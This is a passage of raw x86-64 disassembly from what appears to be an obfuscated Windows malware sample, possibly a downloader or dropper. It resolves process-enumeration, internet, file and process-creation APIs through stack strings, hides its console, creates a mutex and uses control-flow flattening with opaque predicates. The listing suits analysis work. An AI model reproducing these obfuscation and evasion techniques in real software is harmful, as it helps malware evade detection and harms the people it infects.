movaps xmmword [rbx], xmm6
movaps xmmword [rbx + 0x10], xmm6
movaps xmmword [rbx + 0x20], xmm6
mov word [rbx + 0x30], 0
movabs rax, 0x33737365636f7250
mov rsi, rax
mov qword [rbx], rax
mov dword [rbx + 8], 0x72694632
mov word [rbx + 0xc], 0x7473
mov rcx, qword [0x140081b08]
sub rsp, 0x20
mov rdx, rbx
call rdi
add rsp, 0x20
mov qword [0x14008ec20], rax
mov rdx, qword [rbp - 0x10]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x6e614865736f6c43
mov qword [rdx], rax
mov word [rdx + 8], 0x6c64
mov byte [rdx + 0xa], 0x65
mov rcx, qword [0x140081b08]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140082020], rax
mov rdx, qword [rbp - 0x18]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
mov qword [rdx], rsi
mov dword [rdx + 8], 0x78654e32
mov byte [rdx + 0xc], 0x74
mov rcx, qword [0x140081b08]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x14008ec28], rax
mov rdx, qword [rbp - 0x20]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm10
mov rcx, qword [0x140081b18]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140087230], rax
mov rdx, qword [rbp - 0x28]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x74656e7265746e49
mov qword [rdx], rax
mov dword [rdx + 8], 0x6e65704f
mov byte [rdx + 0xc], 0x57
mov rcx, qword [0x140081b18]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140082010], rax
mov rdx, qword [rbp - 0x30]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm11
mov rcx, qword [0x140081b18]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140081fc8], rax
mov rdx, qword [rbp - 0x38]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm12
mov word [rdx + 0x10], 0x6c64
mov byte [rdx + 0x12], 0x65
mov rcx, qword [0x140081b18]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140081bc8], rax
mov rdx, qword [rbp - 0x40]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x50706d6554746547
mov qword [rdx], rax
mov dword [rdx + 8], 0x57687461
mov rcx, qword [0x140081b08]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x14008ebe8], rax
mov rdx, qword [rbp - 0x48]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x6946657461657243
mov qword [rdx], rax
mov word [rdx + 8], 0x656c
mov byte [rdx + 0xa], 0x57
mov rcx, qword [0x140081b08]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x1400820f0], rax
mov rdx, qword [rbp - 0x50]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x656c694664616552
mov qword [rdx], rax
mov rcx, qword [0x140081b08]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x1400820e8], rax
mov rdx, qword [rbp - 0x58]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm13
mov rcx, qword [0x140081b18]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140082008], rax
mov rdx, qword [rbp - 0x60]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm14
mov rcx, qword [0x140081b18]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140081fd0], rax
mov rdx, qword [rbp - 0x68]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm15
mov rcx, qword [0x140081b18]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140081bd0], rax
mov rdx, qword [rbp - 0x70]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x7250657461657243
mov qword [rdx], rax
mov dword [rdx + 8], 0x7365636f
mov word [rdx + 0xc], 0x5773
mov rcx, qword [0x140081b08]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x14008ebf8], rax
mov rdx, qword [rbp - 0x78]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x6c69466574697257
mov qword [rdx], rax
mov byte [rdx + 8], 0x65
mov rcx, qword [0x140081b08]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x14008ebe0], rax
mov rdx, qword [rbp - 0x80]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x6854657461657243
mov qword [rdx], rax
mov dword [rdx + 8], 0x64616572
mov rcx, qword [0x140081b08]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x14008ec10], rax
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_FreeConsole]
add rsp, 0x20
mov eax, dword [0x14008ec18]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xa8512922
and ecx, 0x57aed6dd
or ecx, edx
xor ecx, 0x57aed6dc
xor eax, ecx
test eax, ecx
sete al
cmp dword [0x14008ec1c], 0xa
setl cl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
mov edx, 0x98cd0a3b
mov ebx, 0xe5f58ced
cmovne edx, ebx
test al, al
mov eax, edx
mov ebx, 0x98cd0a3b
cmovne eax, ebx
jmp 0x140044bd7
cmp eax, 0x80aae07a
je 0x140047fd7
cmp eax, 0x81f55a32
jne 0x140040660
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x6aaaf4fd
and edx, 0x95550b02
or edx, ebx
xor edx, 0x95550b03
xor eax, edx
test eax, edx
setne al
cmp ecx, 9
setg dl
cmp ecx, 0xa
setl cl
xor cl, al
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov eax, ecx
xor al, dl
mov ebx, 0x5f937490
mov eax, 0x95433fc3
cmovne ebx, eax
test dl, dl
mov eax, 0x95433fc3
jmp 0x140043cbf
cmp eax, 0xc2c4dbb4
je 0x140047fec
cmp eax, 0xc36c0a27
jne 0x140040660
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x53337359
and edx, 0xaccc8ca6
or edx, ebx
xor edx, 0xaccc8ca7
xor eax, edx
test eax, edx
setne al
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and dl, cl
and bl, al
or bl, dl
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov eax, ecx
xor al, bl
mov edx, 0xc2c4dbb4
mov eax, 0xd206dd34
cmovne edx, eax
test cl, cl
mov eax, 0xc2c4dbb4
jmp 0x140044b27
cmp eax, 0x9dedabe2
je 0x140048080
cmp eax, 0xa4a4c64d
jne 0x140040660
mov ecx, dword [0x14008ec18]
mov eax, dword [0x14008ec1c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xc5b94790
and edx, 0x3a46b86f
or edx, ecx
mov ebx, edx
xor ebx, 0x3a46b86f
xor edx, 0x84804580
and edx, 0xbc82e5ef
mov ecx, ebx
and ecx, 0x437d1a10
or ecx, edx
xor ecx, 0x437d1a11
and ebx, 0xfffffffe
or ebx, ecx
cmp ebx, 0xffffffff
sete r8b
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov ecx, eax
xor cl, dl
and cl, al
and bl, r8b
and al, dl
or al, bl
mov edx, ecx
xor dl, al
mov edx, 0xf424b198
mov ebx, 0x3cf6b1da
jmp 0x140043673
cmp eax, 0xe0664bc7
je 0x1400480ea
cmp eax, 0xe0b7f44f
jne 0x140040660
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
not edx
or edx, eax
cmp edx, 0xffffffff
setne al
cmp ecx, 9
setg dl
cmp ecx, 0xa
setl cl
xor cl, al
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov eax, ecx
xor al, dl
mov eax, 0x46ed04c3
mov ebx, 0xe556e40b
cmovne eax, ebx
test dl, dl
mov edx, 0xe556e40b
cmovne edx, eax
jmp 0x140045b39
cmp eax, 0x7b5dad7a
je 0x1400481a9
cmp eax, 0x7e26c905
jne 0x140040660
mov eax, dword [0x14008ec18]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xc686e2e7
mov edx, eax
and edx, 0x39791d18
or edx, ecx
xor edx, 0x39791d19
and eax, 0xfffffffe
or eax, edx
cmp eax, 0xffffffff
sete al
setne cl
cmp dword [0x14008ec1c], 0xa
setl dl
xor cl, dl
mov ebx, eax
xor bl, dl
xor cl, 1
or dl, al
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, bl
test dl, dl
mov eax, 0x5fa11a0a
mov edx, 0xb3306381
cmovne eax, edx
test bl, bl
cmove eax, edx
test cl, cl
mov ecx, 0x5fa11a0a
jmp 0x140048196
mov eax, 0x5a47ceb0
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov ecx, dword [0x14008ec18]
mov eax, dword [0x14008ec1c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x31742cb0
and edx, 0xce8bd34f
or edx, ecx
mov ecx, edx
xor ecx, 0xce8bd34e
and ecx, 0xfffffffe
xor edx, 0x31742cb1
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x8bd196eb
and edx, 0x742e6914
or edx, ecx
xor edx, 0x742e6914
sete r8b
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov ecx, eax
xor cl, dl
and cl, al
and bl, r8b
and al, dl
or al, bl
mov edx, ecx
xor dl, al
mov edx, 0x5f9529b6
mov ebx, 0x402e9593
cmovne edx, ebx
test al, al
mov eax, edx
cmovne eax, ebx
jmp 0x140044bd7
mov eax, 0xc36c0a27
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov rax, qword [rbp + 0x120]
mov rax, qword [rbp + 0x118]
mov rax, qword [rbp + 0x110]
mov rax, qword [rbp + 0x108]
mov rax, qword [rbp + 0x100]
mov rax, qword [rbp + 0xf8]
mov rax, qword [rbp + 0xf0]
mov rax, qword [rbp + 0xe8]
mov rax, qword [rbp + 0xe0]
mov rax, qword [rbp + 0xd8]
mov rax, qword [rbp + 0xd0]
mov rax, qword [rbp + 0xc8]
mov rax, qword [rbp + 0xc0]
mov rax, qword [rbp + 0xb8]
mov rax, qword [rbp + 0xb0]
mov rax, qword [rbp + 0xa8]
mov rax, qword [rbp + 0xa0]
mov rax, qword [rbp + 0x98]
mov rax, qword [rbp + 0x90]
mov rax, qword [rbp + 0x88]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x70]
mov ecx, dword [0x14008ec18]
mov eax, dword [0x14008ec1c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x10d2524f
and edx, 0xef2dadb0
or edx, ecx
mov ecx, edx
xor ecx, 0xef2dadb0
and ecx, 0xfffffffe
xor edx, 0x10d2524e
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x3a498b37
and edx, 0xc5b674c8
or edx, ecx
xor edx, 0xc5b674c8
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
or al, dl
xor bl, cl
mov ecx, eax
xor cl, bl
mov ecx, 0x1c6489f1
mov edx, 0x56e54af2
cmovne ecx, edx
test bl, bl
mov edx, ecx
mov ebx, 0x1c6489f1
jmp 0x1400440e7
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
xor eax, edx
test eax, edx
setne dl
sete al
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and cl, al
and dl, bl
or dl, cl
mov ecx, ebx
xor cl, al
or bl, al
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, dl
test bl, bl
mov eax, 0x10689f07
mov ebx, 0x5552a1cb
cmovne eax, ebx
test dl, dl
cmove eax, ebx
test cl, cl
mov ecx, 0x10689f07
jmp 0x140048196
mov eax, 0x4f6538f7
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov ecx, dword [0x14008ec18]
mov eax, dword [0x14008ec1c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xf0a6741c
and edx, 0xf598be3
or edx, ecx
mov ebx, edx
xor ebx, 0xf598be3
xor edx, 0x5020040c
and edx, 0x5160862c
mov ecx, ebx
and ecx, 0xae9f79d3
or ecx, edx
xor ecx, 0xae9f79d2
and ebx, 0xfffffffe
or ebx, ecx
cmp ebx, 0xffffffff
setne cl
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and dl, al
and bl, cl
or bl, dl
mov edx, eax
and dl, cl
xor al, cl
or al, dl
mov ecx, eax
xor cl, bl
test al, al
mov eax, 0xef6be4b0
mov edx, 0xc207ccc6
cmovne eax, edx
test bl, bl
cmove eax, edx
test cl, cl
mov ecx, 0xef6be4b0
jmp 0x140048196
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetLastError]
add rsp, 0x20
mov eax, 0xe0664bc7
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
mov eax, edx
not eax
and eax, 0x6f78020c
and edx, 0x9087fdf3
or edx, eax
xor edx, 0x9087fdf3
sete r8b
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov eax, ecx
xor al, dl
and al, cl
and bl, r8b
and cl, dl
or cl, bl
mov edx, eax
xor dl, cl
mov edx, 0xdea5c8b7
mov ebx, 0x173eb431
cmovne edx, ebx
test cl, cl
mov ecx, edx
cmovne ecx, ebx
test al, al
cmove ecx, edx
jmp 0x1400449b6
mov rax, qword [rbp + 0x130]
mov eax, 0xaa7612e4
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov ecx, dword [0x14008ec18]
mov edi, dword [0x14008ec1c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x404be119
and edx, 0xbfb41ee6
or edx, ecx
mov ecx, edx
xor ecx, 0xbfb41ee6
and ecx, 0xfffffffe
xor edx, 0x404be118
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xf05ec90d
and edx, 0xfa136f2
or edx, ecx
xor edx, 0xfa136f2
sete al
setne dl
cmp edi, 0xa
setl bl
cmp edi, 9
setg cl
or cl, dl
xor bl, al
mov eax, ecx
xor al, bl
mov edx, 0x166e68f1
mov eax, 0xe641663a
cmovne edx, eax
test bl, bl
mov eax, edx
mov ebx, 0x166e68f1
jmp 0x14004064a
mov eax, 0x4ccd7f51
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov eax, dword [0x14008ec18]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x1b8390b9
and ecx, 0xe47c6f46
or ecx, edx
xor ecx, 0x1b8390b8
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x14008ec1c], 0xa
setl cl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
test al, al
mov eax, 0x747b382d
mov ebx, 0xdeee333f
cmovne eax, ebx
test cl, cl
mov ecx, 0x747b382d
cmove eax, ecx
jmp 0x140047321
mov eax, dword [0x14008ec18]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x355ee316
and ecx, 0xcaa11ce9
or ecx, edx
xor ecx, 0x355ee317
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x14008ec1c], 0xa
setl cl
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0xe0b7f44f
mov ebx, 0x46ed04c3
cmovne ecx, ebx
test dl, dl
cmove ecx, ebx
test al, al
mov eax, 0xe0b7f44f
jmp 0x1400449b3
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0x3f5b3172
and edx, 0xc0a4ce8d
or edx, eax
mov eax, edx
xor eax, 0xc0a4ce8c
and eax, 0xfffffffe
xor edx, 0x3f5b3173
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
or cl, dl
xor bl, al
mov eax, ecx
xor al, bl
mov edx, 0x8aa9303
mov eax, 0x8728c449
cmovne edx, eax
test bl, bl
mov eax, edx
mov ebx, 0x8aa9303
jmp 0x14004064a
sub rsp, 0x20
call fcn.140039610
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
mov rdi, rax
call rax
add rsp, 0x20
mov rsi, qword [rbp + 0x58]
sub rsp, 0x20
mov r8d, 0x2710
mov rcx, rsi
xor edx, edx
call fcn.140059c80
mov rcx, rsi
call fcn.14002c3f0
mov ecx, 0x7d0
call rdi
add rsp, 0x20
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xa7e0a026
and edx, 0x581f5fd9
or edx, ebx
xor edx, 0xa7e0a027
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov eax, ecx
xor al, bl
mov eax, 0x3d9ce7e0
mov edx, 0x21ab2b05
cmovne eax, edx
test bl, bl
mov edx, eax
mov ebx, 0x3d9ce7e0
jmp 0x140045b36
mov rax, qword [rbp + 0x60]
mov qword [rbp + 0x140], rax
mov rax, qword [rbp + 0x140]
mov rax, qword [rbp + 0x60]
mov qword [rbp + 0x148], rax
mov rcx, qword [rbp + 0x148]
sub rsp, 0x20
mov r8d, 0x3e8
xor edx, edx
call fcn.140059c80
add rsp, 0x20
mov rdx, qword [rbp + 0x148]
sub rsp, 0x20
mov ecx, 0x3e8
call qword [0x14008ebe8]
add rsp, 0x20
test rax, rax
setne byte [rbp + 0x156]
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x581f3291
and edx, 0xa7e0cd6e
or edx, ebx
xor edx, 0xa7e0cd6f
xor eax, edx
test eax, edx
setne al
cmp ecx, 9
setg dl
cmp ecx, 0xa
setl cl
xor cl, al
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov eax, ecx
xor al, dl
mov ebx, 0x7352bbe2
mov eax, 0x27e3c022
cmovne ebx, eax
test dl, dl
mov eax, 0x27e3c022
cmovne eax, ebx
jmp 0x1400442de
sub rsp, 0x20
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov eax, 0x836f7fec
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov eax, 0x5a71f1ec
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov eax, 0x1c6489f1
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov rcx, qword [rbp + 0x130]
sub rsp, 0x20
lea rdx, [0x14007b0d1]
call fcn.140059e90
add rsp, 0x20
lea rsi, [rax + 0xe]
mov rax, qword [rbp + 0x68]
mov rdi, qword [rbp + 0x68]
sub rsp, 0x20
mov r8d, 0x3e8
mov rcx, rdi
xor edx, edx
call fcn.140059c80
mov r8d, 0x3e8
mov rcx, rdi
mov rdx, rsi
call fcn.140010910
mov rcx, rdi
call fcn.14003dc00
add rsp, 0x20
mov eax, 0x5313c1d3
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xb2a1cd10
and edx, 0x4d5e32ef
or edx, ebx
xor edx, 0x4d5e32ee
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
or cl, dl
xor bl, al
mov eax, ecx
xor al, bl
mov edx, 0x9dedabe2
mov eax, 0xd6c9dc7b
cmovne edx, eax
test bl, bl
mov eax, edx
mov ebx, 0x9dedabe2
jmp 0x14004064a
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, ebx
not edx
and ebx, 0x9756bc39
mov eax, edx
and eax, 0x68a943c6
or eax, ebx
xor eax, 0x68a943c7
and edx, 0xfffffffe
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov edx, ecx
xor dl, bl
test bl, bl
mov eax, 0x90b222eb
mov ebx, 0x42201fcf
cmovne eax, ebx
test cl, cl
mov ecx, 0x90b222eb
cmovne eax, ecx
jmp 0x140047321
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
mov eax, edx
not eax
and eax, 0x2d204b48
and edx, 0xd2dfb4b7
or edx, eax
xor edx, 0xd2dfb4b7
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov edx, ecx
xor dl, bl
test bl, bl
mov eax, 0x2080bd83
mov ebx, 0xcd2c7b19
cmovne eax, ebx
test cl, cl
mov ecx, 0x2080bd83
jmp 0x140046610
mov eax, 0xf2770238
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov eax, 0x52d5c2ba
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov eax, dword [0x14008ec18]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
not ecx
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x14008ec1c], 0xa
setl cl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
test al, al
mov eax, 0xdd8f47d8
mov ebx, 0xbc8d2477
cmovne eax, ebx
test cl, cl
mov ecx, 0xdd8f47d8
cmove eax, ecx
jmp 0x140047321
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
not edx
or edx, eax
cmp edx, 0xffffffff
sete dl
setne al
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
and cl, al
and dl, bl
or dl, cl
mov ecx, ebx
and cl, al
xor bl, al
or bl, cl
mov ecx, ebx
xor cl, dl
test bl, bl
mov eax, 0xbe7bb8f9
mov ebx, 0xb25cd9f5
cmovne eax, ebx
test dl, dl
cmove eax, ebx
test cl, cl
mov ecx, 0xbe7bb8f9
jmp 0x140048196
mov rax, qword [rbp + 0x130]
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov eax, ecx
xor al, bl
mov eax, 0x394bbe1
mov edx, 0x3907a49e
cmovne eax, edx
test bl, bl
mov edx, eax
mov ebx, 0x394bbe1
jmp 0x140045b36
mov rax, qword [rbp + 0x10]
mov rax, qword [rbp + 0x10]
movaps xmm0, xmmword [str.JdhdGGBEJSHSTYE63ndHd4]
movaps xmmword [rax], xmm0
movabs rcx, 0x3d346448646e33
mov qword [rax + 0x10], rcx
sub rsp, 0x20
xor ecx, ecx
mov edx, 1
lea r8, str.MlsrmdjfhT534dGBvstNst
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
add rsp, 0x20
mov eax, 0x594471aa
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov ecx, dword [0x14008ec18]
mov eax, dword [0x14008ec1c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xce2ba461
and edx, 0x31d45b9e
or edx, ecx
mov ecx, edx
xor ecx, 0x31d45b9e
and ecx, 0xfffffffe
xor edx, 0xce2ba460
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x8c7d9922
and edx, 0x738266dd
or edx, ecx
xor edx, 0x738266dd
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
or al, dl
xor bl, cl
mov ecx, eax
xor cl, bl
mov ecx, 0xaa44dfe5
mov edx, 0x3907a49e
cmovne ecx, edx
test bl, bl
mov edx, ecx
mov ebx, 0xaa44dfe5
cmovne edx, ebx
test al, al
cmovne edx, ecx
jmp 0x140047409
mov eax, dword [0x14008ec18]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
xor eax, ecx
test eax, ecx
sete al
cmp dword [0x14008ec1c], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x75dc7b79
mov ebx, 0xa4a4c64d
cmovne ecx, ebx
test dl, dl
cmove ecx, ebx
test al, al
mov eax, 0x75dc7b79
jmp 0x1400449b3
mov eax, dword [0x14008ec18]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
xor eax, ecx
test eax, ecx
setne al
cmp dword [0x14008ec1c], 9
setg cl
mov edx, eax
xor dl, cl
and cl, al
or cl, dl
mov eax, ecx
xor al, dl
mov ebx, 0x4ccd7f51
mov eax, 0xd63a077a
cmovne ebx, eax
test cl, cl
mov eax, 0x4ccd7f51
jmp 0x1400470d4
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x1be97eb6
and edx, 0xe4168149
or edx, ebx
xor edx, 0x1be97eb7
or edx, eax
cmp edx, 0xffffffff
setne al
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and dl, cl
and bl, al
or bl, dl
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov edx, ecx
xor dl, bl
test cl, cl
mov eax, 0x225415c2
mov ecx, 0x114f836e
cmovne eax, ecx
test bl, bl
cmove eax, ecx
test dl, dl
mov ecx, 0x225415c2
jmp 0x140048196
mov eax, 0xd05a5478
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov eax, 0x81f55a32
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov rcx, qword [rbp + 0x148]
sub rsp, 0x20
lea rdx, str.LLLPZZP
call fcn.140060c84
add rsp, 0x20
mov rcx, qword [rbp + 0x148]
sub rsp, 0x20
call fcn.140017430
add rsp, 0x20
mov eax, 0x4af96f4d
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov eax, dword [0x14008ec18]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x1085a36a
and ecx, 0xef7a5c95
or ecx, edx
xor ecx, 0x1085a36b
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x14008ec1c], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, eax
xor cl, dl
